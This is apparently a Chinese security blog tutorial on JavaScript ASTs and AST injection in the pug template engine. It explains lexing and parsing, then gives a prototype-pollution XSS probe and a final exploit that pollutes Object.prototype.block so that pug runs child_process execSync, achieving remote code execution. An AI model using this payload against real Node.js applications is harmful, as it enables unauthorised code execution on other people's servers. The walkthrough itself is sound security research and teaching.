前言
参考:
https://juejin.cn/post/6844904035271573511
https://zhuanlan.zhihu.com/p/367990285
AST
抽象语法树 (Abstract Syntax Tree),简称 AST,它是源代码语法结构的一种抽象表示。
以树状的形式表现编程语言的语法结构,树上的每个节点都表示源代码中的一种结构。
运用:
- 编辑器的错误提示、代码格式化、代码高亮、代码自动补全
elint
、pretiier
对代码错误或风格的检查webpack
通过babel
转译javascript
语法
要想了解 js 编译执行的原理,那么首先得了解 AST
js 执行的第一步是读取 js 文件中的字符流,然后通过词法分析生成 token
,之后再通过语法分析 (Parser) 生成 AST,最后生成机器码执行。
词法分析
也称之为扫描 (scanner),简单来说就是调用next()
方法,一个一个字母的来读取字符,然后与定义好的 JavaScript 关键字符做比较,生成对应的 token 。token 是一个不可分割的最小单元
例:
var
,语义上不能再被分解,因此是一个 token
词法分析器里,每个关键字是一个 token ,每个标识符是一个 token,每个操作符是一个 token,每个标点符号也都是一个 token
除此之外,还会过滤掉源程序中的注释和空白字符(换行符、空格、制表符)等
最终,整个代码将被分割进一个 tokens 列表(或者说一维数组)
// 源码
a + b
// Tokens
[
{ type: { ... }, value: "a", start: 0, end: 1, loc: { ... } },
{ type: { ... }, value: "+", start: 2, end: 3, loc: { ... } },
{ type: { ... }, value: "b", start: 4, end: 5, loc: { ... } },
]
语法分析
将词法分析出来的 token 转化成有语法含义的抽象语法树结构。同时,验证语法,语法如果有错的话,抛出语法错误。
const fn = a => a;
用 Acorn 解析 AST 树的在线网站:https://astexplorer.net/
参考文章里有现成的图就copy过来一手
大致意思就是 用类型 const 声明变量 fn 指向一个箭头函数表达式,它的参数是 a 函数体也是 a
注入
Nodejs引擎模板中的 AST
如图,代码在词法分析生成 tokens 后要经过 Parser (解析器) 和 Compiler (编译器) 才能被执行
而我们的注入点就在 Parser 这里,如果在解析 tokens 时输入了一些非预期的值,使其在语法分析时产生恶意的 AST ,从而在编译后插入到函数中,实现命令执行
pug模板
测试
const pug = require('pug');
const source = `h1= msg`;
var fn = pug.compile(source);
var html = fn({msg: 'It works'});
console.log(html);
// <h1>It works</h1>
pug.compile
函数会将字符串转换为模板函数并传递对象以供调用
探测是否为pug模板:
const pug = require('pug');Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};const source = `h1= msg`;var fn = pug.compile(source, {});var html = fn({msg: 'It works'});console.log(html); // <h1>It works<script>alert(origin)</script></h1>
原理&原型链污染
pug 解析 h1= msg
,生成的语法树结构:
{
"type":"Block",
"nodes":[
{
"type":"Tag",
"name":"h1",
"selfClosing":false,
"block":{
"type":"Block",
"nodes":[
{
"type":"Code",
"val":"msg",
"buffer":true,
"mustEscape":true,
"isInline":true,
"line":1,
"column":3
}
],
"line":1
},
"attrs":[
],
"attributeBlocks":[
],
"isInline":false,
"line":1,
"column":1
}
],
"line":0
}
语法树生成后,会调用 walkAst
执行语法树的解析过程,依次对每个节点的类型进行判断,即如下代码:
function walkAST(ast, before, after, options){
parents.unshift(ast);
switch (ast.type) {
case 'NamedBlock':
case 'Block':
ast.nodes = walkAndMergeNodes(ast.nodes);
break;
case 'Case':
case 'Filter':
case 'Mixin':
case 'Tag':
case 'InterpolatedTag':
case 'When':
case 'Code':
case 'While':
if (ast.block) { // 注意这里
ast.block = walkAST(ast.block, before, after, options);
}
break;
case 'Text':
break;
}
parents.shift();
}
而语法树的解析顺序是:
- Block
- Tag
- Block
- Code
- …?
这里第4步解析 node.Type
为 Code
类型
那么就会执行下面的代码
case 'Code':
case 'While':
if (ast.block) { // 注意这里
ast.block = walkAST(ast.block, before, after, options);
}
- 判断
ast.block
属性是否存在,此处的ast
即当前ast语法树的节点 - 如果存在,继续递归解析 block
而前面也说过,pug模板编译一段代码,背后的操作实际上是生成语法树 + new Function
因此如果能通过AST Injection插入节点,并使之成为代码,即可达到远程代码执行的目的
pug中有如下代码
// /node_modules/pug-code-gen/index.js
if (debug && node.debug !== false && node.type !== 'Block') {
if (node.line) {
var js = ';pug_debug_line = ' + node.line;
if (node.filename)
js += ';pug_debug_filename = ' + stringify(node.filename);
this.buf.push(js + ';');
}
}
仔细一看这里的操作和 merge 是差不多的,也就是说存在原型链污染
结合 生成语法树 + new Function
的模式,只要我们在 AST 注入的语句中加入Object.prototype.block
,污染 line 的值就能实现RCE
exp
const pug = require('pug');
Object.prototype.block = {"type": "Text", "line": "console.log(process.mainModule.require('child_process').execSync('calc').toString())"};
const source = `h1= msg`;
var fn = pug.compile(source);
var html = fn({msg: 'It works'});
console.log(html);